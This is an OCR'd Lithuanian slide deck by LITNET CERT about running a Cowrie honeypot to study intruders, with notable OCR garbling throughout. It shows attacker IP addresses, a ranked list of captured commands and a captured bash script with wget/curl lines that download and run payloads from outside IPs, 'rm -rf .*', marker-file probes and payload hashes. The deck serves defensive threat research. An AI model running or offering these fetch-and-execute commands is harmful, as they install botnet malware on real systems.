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https://cert.litnet.It

MANO KASDIENYBE

Reagavimas ir Tyrimai

Ataskaitos

LITNET CERT - kompiuteriniy incidenty tyrimo Lietuvos
mokslo ir studijy institucijy kompiuteriy tinkle LITNET tarnyba.

Pagrinding paskirtis — mazinti grésmes, kylanéias dél LITNET SaI’L_JﬂEiS Gngal ljunas

tinkle teikiamy paslaugy saugumo pazeidimy. Tarnybos

Incidenty prevencija

funkciios: KTIUITD KIC

- reagavimas | kompiuteriniy incidenty incidentus LITNET | saugos grupes vadovas
tinkle, incidenty valdymas [ [TNET CERT

- konsultacijos

- incidenty prevencija sarunasQlitnet. |t



mailto:sarunas@litnet.lt

The Soldier Lays a Ioney Trap

saugos metodai padeda
apsaugoti informacija,
taCiau jie neefektyvis kai
siekiama issiaiskinti
jsilauzeélio veiksmy
eiliskumag, motyvus ir
mastysena. Siuos metodus
galima vadinti pasyviais ar
gynybiniais.

Kad sios sistemos gerai
veikty, jos turi turéti visg
jsilauzimo parasy
duomeny baze bei
nuolatos jg atnauijinti,
taCiau jie neefektyvus kai
siekiama iSsiaiskinti
jsilauzelio veiksmy
eiliskumg, motyvus ir
mastysena.
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TAIP ISTORISKAI
SUSIKLOSTE

Autorius Joseph Jacobs
Knyga Europa's Fairy Book

"Mist behind and light before,
Guide me to my father's door.”

Tai puiki mazy pasaky knyga is visos
Europos. Autorius parasé istorijas,
rades pasakojimy, jprastus daugeliui
Europos Saliy ir kultary.

V ,Medaus puodynés*
metodas

tai informacinés sistemos
resursai, kuriy tikslas
atkreipti demes;j ir pritraukti
jsilauzélj, aptikti bet kokig
nelegalig ar neautorizuotg
veikla.



TYRIMU ,MEDAUS PUODYNE* GGW'R‘I'E
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IMITUOTI

PRIEIGAS IR
PASLAUGAS

,medaus puodyniy“ pranasumas tai
paprastumas, kuris leidzia lengvag
iIsdéstyma ir palaikyma. Taip pat
zemas rizikos lygis, nes nedirbama
su pagrindine tikrgja sistema.

Saltinis: https://github.com/micheloosterhof/cowrie
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TYRIMY ,MEDAUS PUODYNE*
LITNET CERT

ATAKUOTOJO
PROFILIS

- Lengva jdiegti ir adaptuoti.

- Minimali rizika, nes galima
kontroliuoti kg jsilauzélis gali ir
ko ne.

- Surenka ribotg informacijos
Kiek].

Saltinis: https://github.com/micheloosterhof/cowrie
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$ fstat |grep ':2222'|wc -1

484

$ uname -

OpenBSD ¢
$ uptime
5:18PM
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GENERIC#2314 and64

1:55, 1 user, load averages: 1.10, 1.13, 1.09

122.224.64.42:57020
221.194.44.211:442390

- 118.163.178.146:56840

180.76.137.202:52745
58.242.€3.25:63139
101.236.59.24:55764
221.194.47.243:55539
60.191.6€.242:57020
109.92.182.52:7176
58.242.83.22:8473
122.226.181.165:36728
122.226.181.16/:59502
221.194.47.243:46937
119.249.54.217:55323
£1.160.254.19:56658
182.100.67.133:42997
221.194.47.236:45950
49.236.203.129:60936
221.194.47.243:52217
221.194 .47 .243:52783
193.201.224.109:495666
221.194 .44 .232:36790
221.194.47.205:55932
221.194.47.239:36028
221.194 .44 .211:34632
193.201.224.208:35536
79.175.133.211:34214
193.201.224.236:10480
124.129.34.212:4293
193.201.224.236:47973
182.100.67.133:18821
79.175.133.211:371482
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: KAIP TAl ATRODO 7
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1 rm -rf .* 1353
2 cd /tmp 1008
3 cd /tmp || cd /var/run || cd /mnt || cd /root || cd / 049
4 [gweerwe323t 355
5 wget http://208.67.1.101/bins.sh 339
6 wget http://catsmeowalot.com/gtop.sh || curl -O http://catsmeowalot.com/gtop.sh 330
7 wget http://208.67.1.36/bins.sh || curl -O http://208.67.1.36/bins.sh 272
8 wget http://208.67.1.42/bins.sh 221
9 echo -e '\x47\x72\x6f\x70/' > //.nippon 168

10 cat //.nippon 168
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#!/bin/bash

cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp
cd /tmp

cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run
cd /var/run

cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt
cd /mnt

cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root
cd /root

cd /; wget http://80.211.79.50/earyzq; chmod +x earyzq; ./earyzq; rm -rf earyzq
cd /; wget http://80.211.79.50/cemtop; chmod +x cemtop; ./cemtop; rm -rf cemtop
cd /; wget http://80.211.79.50/vtyhat; chmod +x vtyhat; ./vtyhat; rm -rf vtyhat

cd /; wget http://80.211.79.50/vvgima; chmod +x vvgima; ./vvgima; rm -rf vvgima
cd /; wget http://80.211.79.50/nvitpj; chmod +x nvitpj; ./nvitpj; rm -rf nvitpj

cd /; wget http://80.211.79.50/razdzn; chmod +x razdzn; ./razdzn; rm -rf razdzn
cd /; wget http://80.211.79.50/Inkfmx; chmod +x Inkfmx; ./Inkfmx; rm -rf Inkfmx

cd /; wget http://80.211.79.50/gvmxvl; chmod +x gvmxvl; ./gvmxvl; rm -rf gvmxvl
cd /; wget http://80.211.79.50/ajoomk; chmod +x ajoomk; ./ajoomk; rm -rf ajoomk
cd /; wget http://80.211.79.50/twdfvf; chmod +x fwdivf; ./fwdfvf; rm -rf fwdfvi

cd /; wget http://80.211.79.50/atxhua; chmod +x atxhua; ./atxhua; rm -rf atxhua

cd /; wget http://80.211.79.50/gtmzbn; chmod +x gtmzbn; ./gtmzbn; rm -rf gtmzbn
cd /; wget http://80.211.79.50/adcvds; chmod +x adcvds; ./adcvds; rm -rf adcvds
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/bin/busybox cp; ./gweerwe323f

mount ;./gweerwe323f

echo -e \x47\x72\x6f\x70/' > //.nippon; cat //.nippon; rm -f//.nippon

echo -e \x47\x72\xef\x70/tmp" > /tmp/.nippon; cat /tmp/.nippon; rm -f /tmp/.nippon

echo -e \x47\x72\x6f\x70/var/tmp"' > /var/tmp/.nippon; cat /var/tmp/.nippon; rm -f /var/tmp/.nippon

echo -e \x47\x72\x6f\x70/' > //.nippon; cat //.nippon; rm -f//.nippon

echo -e \x47\x72\x6f\x70/deVv' > /dev/.nippon; cat /dev/.nippon; rm -f/dev/.nippon

echo -e \x47\x72\x6f\x70/sys' > /sys/.nippon; cat /sys/.nippon; rm -f/sys/.nippon

echo -e "\x47\x72\x6f\x70/proc' > /proc/.nippon; cat /proc/.nippon; rm -f /proc/.nippon

echo -e \x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon; cat /dev/shm/.nippon; rm -f /dev/shm/.nippon

echo -e \x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon; cat /dev/pts/.nippon; rm -f /dev/pts/.nippon

echo -e \x47\x72\x6f\x70/run' > /run/.nippon; cat /run/.nippon; rm -f /run/.nippon

echo -e \x47\x72\x6f\x70/run/lock’ > /run/lock/.nippon; cat /run/lock/.nippon; rm -f /run/lock/.nippon

echo -e \x47\x72\x6f\x70/sys/fs/cgroup’ > /sys/fs/cgroup/.nippon; cat /sys/fs/cgroup/.nippon; rm -f /sys/fs/cgroup/.nippon

echo -e \x47\x72\x61\x70/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; cat /sys/fs/cgroup/systemd/.nippon; rm -f /sys/fs/cgroup/systemd/.nippon
echo -e '\x47\x72\x6f\x70/sys/fs/cgroup/cpuset’ > /sys/fs/cgroup/cpuset/.nippon; cat /sys/fs/cgroup/cpuset/.nippon; rm -f /sys/fs/cgroup/cpuset/.nippon

echo -e \x47\x72\x6f\x70/sys/fs/cgroup/cpu,cpuacct’ > /sys/fs/cgroup/cpu,cpuacct/.nippon; cat /sys/fs/cgroup/cpu,cpuacct/.nippon; rm -f /sys/fs/cgroup/cpu,cpuacct/.nippon
echo -e \x47\x72\x61\x70/sys/fs/cgroup/blkio’ > /sys/fs/cgroup/blkio/.nippon; cat /sys/fs/cgroup/blkio/.nippon; rm -f /sys/fs/cgroup/blkio/.nippon

echo -e \x47\x72\x6f\x70/sys/fs/cgroup/devices’ > /sys/fs/cgroup/devices/.nippon; cat /sys/fs/cgroup/devices/.nippon; rm -f /sys/fs/cgroup/devices/.nippon
echo -e \x47\x72\x6f\x70/sys/fs/cgroup/freezer' > [sys/fs/cgroup/freezer/.nippon; cat /sys/fs/cgroup/freezer/.nippon; rm -f /sys/fs/cgroup/freezer/.nippon

echo -e \x47\x72\x61\x70/sys/fs/cgroup/net_cls' > /sys/fs/cgroup/net_cls/.nippon; cat /sys/fs/cgroup/net_cls/.nippon; rm -f /sys/fs/cgroup/net_cls/.nippon
echo -e \x47\x72\x6f\x70/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; cat /proc/sys/fs/binfmt_misc/.nippon; rm -f /proc/sys/fs/binfmt_misc/.nippon
echo -e "\x47\x72\x6f\x70/dev/mqueue' > /dev/mqgueue/.nippon; cat /dev/imgueue/.nippon; rm -f /dev/mqgueue/.nippon

echo -e \x47\x72\x61\x70/sys/kernel/debug' > /sys/kernel/debug/.nippon; cat /sys/kernel/debug/.nippon; rm -f /sys/kernel/debug/.nippon

echo -e \x47\x72\x6f\x70/sys/kernel/config’ > /sys/kernel/config/.nippon; cat /sys/kernel/config/.nippon; rm -f /sys/kernel/config/.nippon

echo -e \x47\x72\x6f\x70/tmp" > /tmp/.nippon; cat /tmp/.nippon; rm -f imp/.nippon

echo -e \x47\x72\x6f\x70/boot' > /boot/.nippon; cat /boot/.nippon; rm -f /boot/.nippon

echo -e \x47\x72\x6f\x70/run/user/0" > /run/user/O/.nippon; cat /run/user/0/.nippon; rm -f /run/user/0/.nippon

echo -e "\x47\x72\x6f\x70/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; cat /proc/sys/fs/binfmt_misc/.nippon; rm -f /proc/sys/fs/binfmt_misc/.nippon
Jgweerwe323f

cat /bin/echo ;./gweerwe323f

cat /proc/cpuinfo;./gweerwe323f

cd /; wget http://195.22.127.83/bins/usb_bus.arm7 -O - > usb_bus ; chmod 777 usb_bus ; ./Jusb_bus ;./gweerwe323f

PS aux
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1e327803014d672a0e96a4a22ed663ff5eef06d97cd190b474cfae2430dfacfc
3a77d952f3d6ef2f0c06429de593b6d2303369d1f35¢c34a1ccOf1b6ff6285f09
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PASKELBIMAS / PASIDALINIMAS

PROVIDE FEEDBACK
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Vieninga incidenty
informacijos apsikeitimo
sistema (OTX)
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MORALE

radai - pasikeisk ir pasidalink..

“Forensics” projektas LITNET CERT

sarunas@litnet.lt



